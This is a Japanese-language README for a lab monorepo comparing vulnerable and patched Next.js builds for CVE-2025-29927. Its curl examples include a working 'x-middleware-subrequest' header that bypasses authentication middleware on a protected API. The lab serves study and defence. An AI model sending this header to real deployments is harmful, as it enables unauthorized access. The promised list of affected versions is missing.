
vulnerable-nextjs-14-CVE-2025-29927
このリポジトリは、Next.js 15.2.3バージョンとNext.js 15.1.7バージョンを使用して、CVE-2025-29927 ミドルウェア脆弱性を比較できるモノレポプロジェクトです。
CVE-2025-29927は、Next.jsのミドルウェアで発見されたセキュリティ脆弱性で、x-middleware-subrequestヘッダーを使用して認証ミドルウェアをバイパスできる問題です。 この脆弱性は以下のバージョンで影響を受けます:
pnpm installpnpm dev$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}
$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}
nextjs-cve-2025-29927/
├── apps/
│ ├── next15_1_7/ # 脆弱なバージョン
│ └── next15_2_3/ # パッチ済みバージョン
├── packages/
│ └── ui/ # 共有UIコンポーネント
└── README.md